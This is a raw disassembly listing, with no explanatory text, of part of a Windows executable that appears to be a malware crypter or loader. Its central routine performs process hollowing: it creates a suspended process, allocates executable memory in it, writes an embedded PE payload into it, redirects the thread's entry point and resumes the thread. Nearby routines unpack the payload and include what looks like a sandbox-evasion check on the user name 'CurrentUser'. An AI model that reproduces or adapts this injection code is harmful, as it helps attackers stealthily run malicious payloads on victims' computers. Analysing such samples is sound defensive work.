		mov	[ebp+var_154], edx
		mov	esi, eax
		xor	eax, eax
		push	ebp
		push	offset loc_20012A7A
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		lea	edx, [ebp+var_154]
		xor	eax, eax
		call	sub_20002928
		mov	edx, [ebp+var_154]
		lea	eax, [ebp+var_150]
		call	sub_20002BFC
		mov	eax, ds:off_20014540
		mov	byte ptr [eax],	0
		mov	edx, 1
		lea	eax, [ebp+var_150]
		call	sub_20002F60
		call	sub_200027DC
		test	eax, eax
		jnz	short loc_20012A5A
		lea	eax, [ebp+var_150]
		call	sub_20002DEC
		call	sub_2000275C
		mov	ebx, eax
		mov	eax, esi
		mov	edx, ebx
		call	sub_200045D0
		lea	eax, [ebp+var_4]
		push	eax
		mov	eax, esi
		call	sub_2000449C
		mov	edx, eax
		mov	ecx, ebx
		lea	eax, [ebp+var_150]
		call	sub_20002D54
		call	sub_2000275C
		cmp	ebx, [ebp+var_4]
		jz	short loc_20012A48
		push	0		; uExitCode
		call	ExitProcess_0


loc_20012A48:				; CODE XREF: sub_200129A0+9Fj
		lea	eax, [ebp+var_150]
		call	sub_20002D94
		call	sub_2000275C
		jmp	short loc_20012A61
; ---------------------------------------------------------------------------


loc_20012A5A:				; CODE XREF: sub_200129A0+60j
		push	0		; uExitCode
		call	ExitProcess_0


loc_20012A61:				; CODE XREF: sub_200129A0+B8j
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_20012A81


loc_20012A6E:				; CODE XREF: sub_200129A0+DFj
		lea	eax, [ebp+var_154]
		call	sub_20003FA8
		retn
; ---------------------------------------------------------------------------


loc_20012A7A:				; DATA XREF: sub_200129A0+18o
		jmp	loc_200039D0
; ---------------------------------------------------------------------------
		jmp	short loc_20012A6E
; ---------------------------------------------------------------------------


loc_20012A81:				; CODE XREF: sub_200129A0+D9j
					; DATA XREF: sub_200129A0+C9o
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_200129A0	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_20012A88	proc near		; CODE XREF: CODE:2001339Fp

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		xor	ecx, ecx
		push	ecx
		push	ecx
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, edx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		call	sub_20004434
		xor	eax, eax
		push	ebp
		push	offset loc_20012BE7
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	eax, [ebp+var_4]
		call	sub_20004244
		mov	esi, eax
		cmp	esi, 1
		jl	short loc_20012AF7


loc_20012ABE:				; CODE XREF: sub_20012A88+6Dj
		mov	eax, [ebp+var_4]
		mov	bl, [eax+esi-1]
		test	bl, bl
		jnz	short loc_20012ADA
		lea	eax, [ebp+var_4]
		mov	ecx, 64h
		mov	edx, esi
		call	sub_200044E4
		jmp	short loc_20012AF7
; ---------------------------------------------------------------------------


loc_20012ADA:				; CODE XREF: sub_20012A88+3Fj
		lea	eax, [ebp+var_C]
		mov	edx, ebx
		call	sub_20004190
		mov	edx, [ebp+var_C]
		lea	eax, [ebp+var_8]
		mov	ecx, [ebp+var_8]
		call	sub_20004290
		dec	esi
		test	esi, esi
		jnz	short loc_20012ABE


loc_20012AF7:				; CODE XREF: sub_20012A88+34j
					; sub_20012A88+50j
		cmp	[ebp+var_8], 0
		jnz	short loc_20012B04
		push	0		; uExitCode
		call	ExitProcess_0


loc_20012B04:				; CODE XREF: sub_20012A88+73j
		mov	eax, [ebp+var_8]
		call	sub_20004244
		mov	edx, [ebp+var_8]
		cmp	byte ptr [edx+eax-1], 1
		jnz	short loc_20012B1D
		mov	ds:byte_200143C0, 1


loc_20012B1D:				; CODE XREF: sub_20012A88+8Cj
		mov	eax, [ebp+var_8]
		call	sub_20004244
		mov	edx, eax
		lea	eax, [ebp+var_8]
		mov	ecx, 1
		call	sub_200044E4
		mov	eax, [ebp+var_8]
		call	sub_20004244
		mov	edx, [ebp+var_8]
		cmp	byte ptr [edx+eax-1], 1
		jnz	short loc_20012B4D
		mov	ds:byte_200143BC, 1


loc_20012B4D:				; CODE XREF: sub_20012A88+BCj
		mov	eax, [ebp+var_8]
		call	sub_20004244
		mov	edx, eax
		lea	eax, [ebp+var_8]
		mov	ecx, 1
		call	sub_200044E4
		lea	eax, [ebp+var_10]
		push	eax
		mov	eax, [ebp+var_4]
		call	sub_20004244
		mov	ebx, eax
		mov	eax, [ebp+var_8]
		call	sub_20012900
		sub	ebx, eax
		push	ebx
		mov	eax, [ebp+var_8]
		call	sub_20012900
		mov	ecx, eax
		mov	eax, [ebp+var_4]
		pop	edx
		call	sub_200044A4
		mov	eax, [ebp+var_10]
		call	sub_20004244
		mov	edx, eax
		inc	edx
		mov	eax, edi
		call	sub_200045D0
		push	edi
		mov	eax, [ebp+var_4]
		call	sub_20004244
		mov	ebx, eax
		inc	ebx
		mov	eax, [ebp+var_8]
		call	sub_20012900
		sub	ebx, eax
		push	ebx
		mov	eax, [ebp+var_8]
		call	sub_20012900
		mov	ecx, eax
		mov	eax, [ebp+var_4]
		pop	edx
		call	sub_200044A4
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_20012BEE


loc_20012BD9:				; CODE XREF: sub_20012A88+164j
		lea	eax, [ebp+var_10]
		mov	edx, 4
		call	sub_20003FCC
		retn
; ---------------------------------------------------------------------------


loc_20012BE7:				; DATA XREF: sub_20012A88+1Co
		jmp	loc_200039D0
; ---------------------------------------------------------------------------
		jmp	short loc_20012BD9
; ---------------------------------------------------------------------------


loc_20012BEE:				; CODE XREF: sub_20012A88+15Ej
					; DATA XREF: sub_20012A88+14Co
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_20012A88	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_20012BF8	proc near		; CODE XREF: sub_20012CD0+107p

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0
		push	ebx
		push	esi
		push	edi
		mov	esi, ecx
		mov	ebx, edx
		mov	edi, eax
		xor	eax, eax
		push	ebp
		push	offset loc_20012C4C
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	eax, esi
		call	sub_20003FA8
		test	ebx, ebx
		jle	short loc_20012C36


loc_20012C1F:				; CODE XREF: sub_20012BF8+3Cj
		lea	eax, [ebp+var_4]
		mov	edx, edi
		call	sub_20004190
		mov	edx, [ebp+var_4]
		mov	eax, esi
		call	sub_2000424C
		dec	ebx
		jnz	short loc_20012C1F


loc_20012C36:				; CODE XREF: sub_20012BF8+25j
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_20012C53


loc_20012C43:				; CODE XREF: sub_20012BF8+59j
		lea	eax, [ebp+var_4]
		call	sub_20003FA8
		retn
; ---------------------------------------------------------------------------


loc_20012C4C:				; DATA XREF: sub_20012BF8+11o
		jmp	loc_200039D0
; ---------------------------------------------------------------------------
		jmp	short loc_20012C43
; ---------------------------------------------------------------------------


loc_20012C53:				; CODE XREF: sub_20012BF8+53j
					; DATA XREF: sub_20012BF8+46o
		pop	edi
		pop	esi
		pop	ebx
		pop	ecx
		pop	ebp
		retn
sub_20012BF8	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_20012C5C	proc near		; CODE XREF: sub_20012F40+45p

var_14		= dword	ptr -14h

		push	ebx
		push	esi
		push	edi
		push	ebp
		push	ecx
		mov	ecx, [eax+3Ch]
		add	ecx, eax
		mov	edi, [ecx+38h]
		mov	ebx, [ecx+54h]
		mov	eax, ebx
		xor	edx, edx
		div	edi
		test	edx, edx
		jnz	short loc_20012C7B
		mov	[esp+14h+var_14], ebx
		jmp	short loc_20012C87
; ---------------------------------------------------------------------------


loc_20012C7B:				; CODE XREF: sub_20012C5C+18j
		mov	eax, ebx
		xor	edx, edx
		div	edi
		inc	eax
		imul	edi
		mov	[esp+14h+var_14], eax


loc_20012C87:				; CODE XREF: sub_20012C5C+1Dj
		lea	esi, [ecx+18h]
		movzx	eax, word ptr [ecx+14h]
		add	esi, eax
		movzx	ebx, word ptr [ecx+6]
		dec	ebx
		test	ebx, ebx
		jb	short loc_20012CC6
		inc	ebx
		xor	ecx, ecx


loc_20012C9C:				; CODE XREF: sub_20012C5C+68j
		lea	eax, [ecx+ecx*4]
		mov	ebp, [esi+eax*8+8]
		test	ebp, ebp
		jz	short loc_20012CC2
		mov	eax, ebp
		xor	edx, edx
		div	edi
		test	edx, edx
		jnz	short loc_20012CB6
		add	[esp+14h+var_14], ebp
		jmp	short loc_20012CC2
; ---------------------------------------------------------------------------


loc_20012CB6:				; CODE XREF: sub_20012C5C+53j
		mov	eax, ebp
		xor	edx, edx
		div	edi
		inc	eax
		imul	edi
		add	[esp+14h+var_14], eax


loc_20012CC2:				; CODE XREF: sub_20012C5C+49j
					; sub_20012C5C+58j
		inc	ecx
		dec	ebx
		jnz	short loc_20012C9C


loc_20012CC6:				; CODE XREF: sub_20012C5C+3Bj
		mov	eax, [esp+14h+var_14]
		pop	edx
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_20012C5C	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_20012CD0	proc near		; CODE XREF: CODE:200133B5p

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		xor	ecx, ecx
		push	ecx
		push	ecx
		push	ecx
		push	ecx
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, edx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		call	sub_20004434
		xor	eax, eax
		push	ebp
		push	offset loc_20012E44
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		jmp	loc_20012DE9
; ---------------------------------------------------------------------------


loc_20012CFE:				; CODE XREF: sub_20012CD0+138j
		lea	eax, [ebp+var_10]
		mov	ecx, [ebp+var_4]
		mov	edx, offset dword_20012E5C
		call	sub_20004290
		mov	edx, [ebp+var_10]
		mov	eax, offset dword_20012E68
		call	sub_20004588
		mov	ebx, eax
		lea	eax, [ebp+var_C]
		push	eax
		mov	eax, [ebp+var_4]
		call	sub_20004244
		mov	ecx, eax
		lea	edx, [ebx+2]
		mov	eax, [ebp+var_4]
		call	sub_200044A4
		lea	eax, [ebp+var_8]
		push	eax
		mov	edx, [ebp+var_C]
		mov	eax, offset dword_20012E74
		call	sub_20004588
		inc	eax
		push	eax
		mov	eax, [ebp+var_C]
		call	sub_20004244
		mov	ecx, eax
		mov	eax, [ebp+var_C]
		pop	edx
		call	sub_200044A4
		mov	edx, [ebp+var_C]
		mov	eax, offset dword_20012E74
		call	sub_20004588
		push	eax
		mov	eax, [ebp+var_C]
		call	sub_20004244
		mov	ecx, eax
		lea	eax, [ebp+var_C]
		pop	edx
		call	sub_200044E4
		mov	edx, [ebp+var_8]
		mov	eax, offset dword_20012E74
		call	sub_20004588
		push	eax
		mov	eax, [ebp+var_8]
		call	sub_20004244
		mov	ecx, eax
		lea	eax, [ebp+var_8]
		pop	edx
		call	sub_200044E4
		mov	eax, [ebp+var_8]
		call	sub_20004244
		add	eax, 5
		push	eax
		mov	eax, [ebp+var_C]
		call	sub_20004244
		pop	ecx
		add	ecx, eax
		mov	esi, ebx
		dec	esi
		mov	edx, esi
		lea	eax, [ebp+var_4]
		call	sub_200044E4
		mov	eax, [ebp+var_C]
		call	sub_20012900
		push	eax
		mov	eax, [ebp+var_8]
		call	sub_20012900
		lea	ecx, [ebp+var_14]
		pop	edx
		call	sub_20012BF8
		mov	eax, [ebp+var_14]
		mov	ecx, esi
		lea	edx, [ebp+var_4]
		call	sub_2000452C


loc_20012DE9:				; CODE XREF: sub_20012CD0+29j
		lea	eax, [ebp+var_18]
		mov	ecx, [ebp+var_4]
		mov	edx, offset dword_20012E5C
		call	sub_20004290
		mov	edx, [ebp+var_18]
		mov	eax, offset dword_20012E68
		call	sub_20004588
		test	eax, eax
		jg	loc_20012CFE
		mov	eax, [ebp+var_4]
		call	sub_20004244
		mov	edx, eax
		mov	eax, edi
		call	sub_200045D0
		mov	eax, edi
		mov	edx, [ebp+var_4]
		call	sub_20003FFC
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_20012E4B


loc_20012E36:				; CODE XREF: sub_20012CD0+179j
		lea	eax, [ebp+var_18]
		mov	edx, 6
		call	sub_20003FCC
		retn
; ---------------------------------------------------------------------------


loc_20012E44:				; DATA XREF: sub_20012CD0+1Eo
		jmp	loc_200039D0
; ---------------------------------------------------------------------------
		jmp	short loc_20012E36
; ---------------------------------------------------------------------------


loc_20012E4B:				; CODE XREF: sub_20012CD0+173j
					; DATA XREF: sub_20012CD0+161o
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_20012CD0	endp

; ---------------------------------------------------------------------------
		align 4
		dd 0FFFFFFFFh, 1
dword_20012E5C	dd 20h,	0FFFFFFFFh, 3	; DATA XREF: sub_20012CD0+34o
					; sub_20012CD0+11Fo
dword_20012E68	dd 2C783Fh, 0FFFFFFFFh,	1 ; DATA XREF: sub_20012CD0+41o
					; sub_20012CD0+12Co
dword_20012E74	dd 2Ch			; DATA XREF: sub_20012CD0+6Do
					; sub_20012CD0+8Fo ...

; =============== S U B	R O U T	I N E =======================================



sub_20012E78	proc near		; CODE XREF: sub_20012F40+CAp
					; sub_20012F40+143p ...
		push	ebx
		mov	ebx, edx
		mov	ecx, eax
		mov	eax, ecx
		xor	edx, edx
		div	ebx
		test	edx, edx
		jnz	short loc_20012E8B
		mov	eax, ecx
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_20012E8B:				; CODE XREF: sub_20012E78+Dj
		mov	eax, ecx
		xor	edx, edx
		div	ebx
		inc	eax
		imul	ebx
		pop	ebx
		retn
sub_20012E78	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_20012E98	proc near		; CODE XREF: sub_20012F40+31p
					; sub_20012F40:loc_20012FD3p ...

var_8		= dword	ptr -8
pcbBuffer	= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF8h
		push	ebx
		push	esi
		xor	eax, eax
		mov	[ebp+var_8], eax
		xor	eax, eax
		push	ebp
		push	offset loc_20012F03
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		xor	ebx, ebx
		mov	eax, 40h
		call	sub_20002668
		mov	esi, eax
		mov	[ebp+pcbBuffer], 40h
		lea	eax, [ebp+pcbBuffer]
		push	eax		; pcbBuffer
		push	esi		; lpBuffer
		call	GetUserNameA
		lea	eax, [ebp+var_8]
		mov	edx, esi
		call	sub_200041A0
		mov	eax, [ebp+var_8]
		mov	edx, offset aCurrentuser ; "CurrentUser"
		call	sub_20004390
		jnz	short loc_20012EED
		mov	bl, 1


loc_20012EED:				; CODE XREF: sub_20012E98+51j
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_20012F0A


loc_20012EFA:				; CODE XREF: sub_20012E98+70j
		lea	eax, [ebp+var_8]
		call	sub_20003FA8
		retn
; ---------------------------------------------------------------------------


loc_20012F03:				; DATA XREF: sub_20012E98+10o
		jmp	loc_200039D0
; ---------------------------------------------------------------------------
		jmp	short loc_20012EFA
; ---------------------------------------------------------------------------


loc_20012F0A:				; CODE XREF: sub_20012E98+6Aj
					; DATA XREF: sub_20012E98+5Do
		mov	eax, ebx
		pop	esi
		pop	ebx
		pop	ecx
		pop	ecx
		pop	ebp
		retn
sub_20012E98	endp

; ---------------------------------------------------------------------------
		align 4
		dd 0FFFFFFFFh, 0Bh
aCurrentuser	db 'CurrentUser',0      ; DATA XREF: sub_20012E98+47o

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_20012F28	proc near		; CODE XREF: sub_20012F40+197p
					; sub_20012F40+22Cp

var_105		= byte ptr -105h

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFEF8h
		lea	eax, [ebp+var_105]
		test	eax, eax
		mov	esp, ebp
		pop	ebp
		retn
sub_20012F28	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_20012F40(CONTEXT Context)

sub_20012F40	proc near		; CODE XREF: CODE:2001340Dp

var_25C		= dword	ptr -25Ch
var_258		= dword	ptr -258h
var_254		= dword	ptr -254h
var_24E		= byte ptr -24Eh
Context		= CONTEXT ptr -14Ch

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFDA4h
		push	ebx
		push	esi
		push	edi
		xor	edx, edx
		mov	[ebp+var_25C], edx
		mov	[ebp+var_258], edx
		mov	[ebp+var_254], edx
		mov	dword ptr [ebp+Context.ExtendedRegisters+7Ch], eax
		xor	eax, eax
		push	ebp
		push	offset loc_20013266
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		call	sub_20012E98
		mov	eax, dword ptr [ebp+Context.ExtendedRegisters+7Ch]
		mov	eax, [eax+3Ch]
		add	eax, dword ptr [ebp+Context.ExtendedRegisters+7Ch]
		mov	dword ptr [ebp+Context.ExtendedRegisters+78h], eax
		mov	eax, dword ptr [ebp+Context.ExtendedRegisters+7Ch]
		call	sub_20012C5C
		mov	dword ptr [ebp+Context.ExtendedRegisters+64h], eax
		mov	eax, dword ptr [ebp+Context.ExtendedRegisters+64h]
		call	sub_20002668
		mov	dword ptr [ebp+Context.ExtendedRegisters+74h], eax
		xor	edx, edx
		push	ebp
		push	offset loc_20013241
		push	dword ptr fs:[edx]
		mov	fs:[edx], esp
		mov	eax, dword ptr [ebp+Context.ExtendedRegisters+74h]
		mov	dword ptr [ebp+Context.ExtendedRegisters+5Ch], eax
		mov	eax, dword ptr [ebp+Context.ExtendedRegisters+78h]
		mov	eax, [eax+54h]
		mov	dword ptr [ebp+Context.ExtendedRegisters+68h], eax
		mov	eax, dword ptr [ebp+Context.ExtendedRegisters+78h]
		lea	esi, [eax+18h]
		mov	eax, dword ptr [ebp+Context.ExtendedRegisters+78h]
		movzx	eax, word ptr [eax+14h]
		add	esi, eax
		mov	eax, dword ptr [ebp+Context.ExtendedRegisters+78h]
		movzx	edi, word ptr [eax+6]
		dec	edi
		test	edi, edi
		jb	short loc_20012FEB
		inc	edi
		xor	ebx, ebx


loc_20012FD3:				; CODE XREF: sub_20012F40+A9j
		call	sub_20012E98
		lea	eax, [ebx+ebx*4]
		mov	eax, [esi+eax*8+14h]
		cmp	eax, dword ptr [ebp+Context.ExtendedRegisters+68h]
		jnb	short loc_20012FE7
		mov	dword ptr [ebp+Context.ExtendedRegisters+68h], eax


loc_20012FE7:				; CODE XREF: sub_20012F40+A2j
		inc	ebx
		dec	edi
		jnz	short loc_20012FD3


loc_20012FEB:				; CODE XREF: sub_20012F40+8Ej
		call	sub_20012E98
		mov	ecx, dword ptr [ebp+Context.ExtendedRegisters+68h]
		mov	edx, dword ptr [ebp+Context.ExtendedRegisters+7Ch]
		mov	eax, dword ptr [ebp+Context.ExtendedRegisters+5Ch]
		call	sub_20005E88
		mov	eax, dword ptr [ebp+Context.ExtendedRegisters+78h]
		mov	edx, [eax+38h]
		mov	eax, dword ptr [ebp+Context.ExtendedRegisters+78h]
		mov	eax, [eax+54h]
		call	sub_20012E78
		add	eax, dword ptr [ebp+Context.ExtendedRegisters+5Ch]
		mov	dword ptr [ebp+Context.ExtendedRegisters+5Ch], eax
		mov	eax, dword ptr [ebp+Context.ExtendedRegisters+78h]
		movzx	edi, word ptr [eax+6]
		dec	edi
		test	edi, edi
		jb	loc_200130BF
		inc	edi
		xor	ebx, ebx


loc_20013028:				; CODE XREF: sub_20012F40+179j
		call	sub_20012E98
		lea	eax, [ebx+ebx*4]
		cmp	dword ptr [esi+eax*8+10h], 0
		jbe	short loc_20013090
		call	sub_20012E98
		lea	eax, [ebx+ebx*4]
		mov	eax, [esi+eax*8+10h]
		mov	dword ptr [ebp+Context.ExtendedRegisters+60h], eax
		lea	eax, [ebx+ebx*4]
		mov	eax, [esi+eax*8+8]
		cmp	eax, dword ptr [ebp+Context.ExtendedRegisters+60h]
		jnb	short loc_2001305C
		lea	eax, [ebx+ebx*4]
		mov	eax, [esi+eax*8+8]
		mov	dword ptr [ebp+Context.ExtendedRegisters+60h], eax


loc_2001305C:				; CODE XREF: sub_20012F40+110j
		call	sub_20012E98
		lea	eax, [ebx+ebx*4]
		mov	edx, [esi+eax*8+14h]
		add	edx, dword ptr [ebp+Context.ExtendedRegisters+7Ch]
		mov	ecx, dword ptr [ebp+Context.ExtendedRegisters+60h]
		mov	eax, dword ptr [ebp+Context.ExtendedRegisters+5Ch]
		call	sub_20005E88
		lea	eax, [ebx+ebx*4]
		mov	eax, [esi+eax*8+8]
		mov	edx, dword ptr [ebp+Context.ExtendedRegisters+78h]
		mov	edx, [edx+38h]
		call	sub_20012E78
		add	eax, dword ptr [ebp+Context.ExtendedRegisters+5Ch]
		mov	dword ptr [ebp+Context.ExtendedRegisters+5Ch], eax
		jmp	short loc_200130B7
; ---------------------------------------------------------------------------


loc_20013090:				; CODE XREF: sub_20012F40+F5j
		call	sub_20012E98
		lea	eax, [ebx+ebx*4]
		cmp	dword ptr [esi+eax*8+8], 0
		jz	short loc_200130B7
		lea	eax, [ebx+ebx*4]
		mov	eax, [esi+eax*8+8]
		mov	edx, dword ptr [ebp+Context.ExtendedRegisters+78h]
		mov	edx, [edx+38h]
		call	sub_20012E78
		add	eax, dword ptr [ebp+Context.ExtendedRegisters+5Ch]
		mov	dword ptr [ebp+Context.ExtendedRegisters+5Ch], eax


loc_200130B7:				; CODE XREF: sub_20012F40+14Ej
					; sub_20012F40+15Dj
		inc	ebx
		dec	edi
		jnz	loc_20013028


loc_200130BF:				; CODE XREF: sub_20012F40+DFj
		call	sub_20012E98
		lea	eax, [ebp+Context.ExtendedRegisters]
		mov	edx, 44h
		call	sub_20005E90
		lea	eax, [ebp+var_254]
		call	sub_20012F28
		lea	eax, [ebp+Context]
		mov	edx, 0CCh
		call	sub_20005E90
		lea	eax, [ebp+Context.ExtendedRegisters+44h]
		push	eax		; lpProcessInformation
		lea	eax, [ebp+Context.ExtendedRegisters]
		push	eax		; lpStartupInfo
		push	0		; lpCurrentDirectory
		push	0		; lpEnvironment
		push	4		; dwCreationFlags
		push	0		; bInheritHandles
		push	0		; lpThreadAttributes
		push	0		; lpProcessAttributes
		lea	edx, [ebp+var_258]
		xor	eax, eax
		call	sub_20002928
		mov	eax, [ebp+var_258]
		call	sub_20004444
		push	eax		; lpCommandLine
		push	0		; lpApplicationName
		call	CreateProcessA
		call	sub_20012E98
		mov	[ebp+Context.ContextFlags], 10007h
		call	sub_20012E98
		lea	eax, [ebp+Context]
		push	eax		; lpContext
		mov	eax, dword ptr [ebp+Context.ExtendedRegisters+48h]
		push	eax		; hThread
		call	GetThreadContext
		call	sub_20012E98
		lea	eax, [ebp+Context.ExtendedRegisters+6Ch]
		push	eax		; lpNumberOfBytesRead
		push	4		; nSize
		lea	eax, [ebp+Context.ExtendedRegisters+70h]
		push	eax		; lpBuffer
		mov	eax, [ebp+Context._Ebx]
		add	eax, 8
		push	eax		; lpBaseAddress
		mov	eax, dword ptr [ebp+Context.ExtendedRegisters+44h]
		push	eax		; hProcess
		call	ReadProcessMemory
		lea	eax, [ebp+var_25C]
		call	sub_20012F28
		push	40h		; flProtect
		push	3000h		; flAllocationType
		mov	eax, dword ptr [ebp+Context.ExtendedRegisters+64h]
		push	eax		; dwSize
		mov	eax, dword ptr [ebp+Context.ExtendedRegisters+78h]
		mov	eax, [eax+34h]
		push	eax		; lpAddress
		mov	eax, dword ptr [ebp+Context.ExtendedRegisters+44h]
		push	eax		; hProcess
		call	VirtualAllocEx
		lea	eax, [ebp+Context.ExtendedRegisters+6Ch]
		push	eax		; lpNumberOfBytesWritten
		mov	eax, dword ptr [ebp+Context.ExtendedRegisters+64h]
		push	eax		; nSize
		mov	eax, dword ptr [ebp+Context.ExtendedRegisters+74h]
		push	eax		; lpBuffer
		mov	eax, dword ptr [ebp+Context.ExtendedRegisters+78h]
		mov	eax, [eax+34h]
		push	eax		; lpBaseAddress
		mov	eax, dword ptr [ebp+Context.ExtendedRegisters+44h]
		push	eax		; hProcess
		call	WriteProcessMemory
		lea	eax, [ebp+Context.ExtendedRegisters+6Ch]
		push	eax		; lpNumberOfBytesWritten
		push	4		; nSize
		mov	eax, dword ptr [ebp+Context.ExtendedRegisters+78h]
		add	eax, 34h
		push	eax		; lpBuffer
		mov	eax, [ebp+Context._Ebx]
		add	eax, 8
		push	eax		; lpBaseAddress
		mov	eax, dword ptr [ebp+Context.ExtendedRegisters+44h]
		push	eax		; hProcess
		call	WriteProcessMemory
		mov	eax, dword ptr [ebp+Context.ExtendedRegisters+78h]
		mov	eax, [eax+34h]
		mov	edx, dword ptr [ebp+Context.ExtendedRegisters+78h]
		add	eax, [edx+28h]
		mov	[ebp+Context._Eax], eax
		lea	eax, [ebp+Context]
		push	eax		; lpContext
		mov	eax, dword ptr [ebp+Context.ExtendedRegisters+48h]
		push	eax		; hThread
		call	SetThreadContext
		mov	eax, dword ptr [ebp+Context.ExtendedRegisters+48h]
		push	eax		; hThread
		call	ResumeThread
		lea	eax, [ebp+var_24E]
		mov	edx, offset loc_2001327C
		call	sub_2001277C
		mov	edx, dword ptr [ebp+Context.ExtendedRegisters+54h]
		push	edx
		mov	eax, dword ptr [ebp+Context.ExtendedRegisters+58h]
		mov	ecx, eax
		mov	edx, eax
		lea	eax, [ebp+var_24E]
		call	sub_20012818
		lea	eax, [ebp+var_24E]
		call	sub_20012808
		call	sub_20012E98
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_20013248


loc_20013236:				; CODE XREF: sub_20012F40+306j
		mov	eax, dword ptr [ebp+Context.ExtendedRegisters+74h]
		push	eax
		call	sub_200055C8
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_20013241:				; DATA XREF: sub_20012F40+5Bo
		jmp	loc_200039D0
; ---------------------------------------------------------------------------
		jmp	short loc_20013236
; ---------------------------------------------------------------------------


loc_20013248:				; CODE XREF: sub_20012F40+300j
					; DATA XREF: sub_20012F40+2F1o
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_2001326D


loc_20013255:				; CODE XREF: sub_20012F40+32Bj
		lea	eax, [ebp+var_25C]
		mov	edx, 3
		call	sub_20003FCC
		retn
; ---------------------------------------------------------------------------


loc_20013266:				; DATA XREF: sub_20012F40+26o
		jmp	loc_200039D0
; ---------------------------------------------------------------------------
		jmp	short loc_20013255
; ---------------------------------------------------------------------------


loc_2001326D:				; CODE XREF: sub_20012F40+325j
					; DATA XREF: sub_20012F40+310o
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_20012F40	endp

; ---------------------------------------------------------------------------
		dd 0FFFFFFFFh, 5
; ---------------------------------------------------------------------------


loc_2001327C:				; DATA XREF: sub_20012F40+2B9o
		inc	ecx
		jb	short loc_200132E6
		push	21h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_20013284	proc near		; DATA XREF: CODE:20013360o
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		push	ebp
		push	offset loc_200132A3
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_200132AA


loc_200132A2:				; CODE XREF: sub_20013284+24j
		retn
; ---------------------------------------------------------------------------


loc_200132A3:				; DATA XREF: sub_20013284+6o
		jmp	loc_200039D0
; ---------------------------------------------------------------------------
		jmp	short loc_200132A2
; ---------------------------------------------------------------------------


loc_200132AA:				; CODE XREF: sub_20013284:loc_200132A2j
					; DATA XREF: sub_20013284+19o
		pop	ebp
		retn
sub_20013284	endp

; ---------------------------------------------------------------------------
dword_200132AC	dd 16h			; DATA XREF: CODE:20013379o
		dd offset off_200132B4
off_200132B4	dd offset loc_20005CC0	; DATA XREF: CODE:200132B0o
		dd offset sub_20005C90
		dd offset sub_20005AB4
		dd offset sub_20005A60
		dd offset sub_20005CF8
		dd offset sub_20005CC8
		dd offset sub_20005EC8
		dd offset sub_20005E98
		dd offset sub_20005F00
		db 0D0h	; п OFF32 SEGDEF [CODE,20005ED0]
; ---------------------------------------------------------------------------


loc_200132D9:				; CODE XREF: CODE:20013318j
		pop	esi
		add	[eax], ah
		cmp	[edi+0], bl
		and	[eax], cl
		pop	edi
		add	[eax], ah
		js	short near ptr loc_20013344+1


loc_200132E6:				; CODE XREF: CODE:2001327Dj
		add	[eax], ah
		dec	eax
		pop	edi
		add	[eax], ah
		mov	al, 5Fh
		add	[eax], ah
		sbb	byte ptr [edi+0], 20h
		call	near ptr 0D8213358h
		pop	edi
		add	[eax], ah
		inc	eax
		pusha
		add	[eax], ah
		lock pop edi
		add	[eax], ah
		aam	0F2h
		add	[eax], ah
		movsb
		repne add [eax], ah
		dec	eax
		arpl	[eax], ax
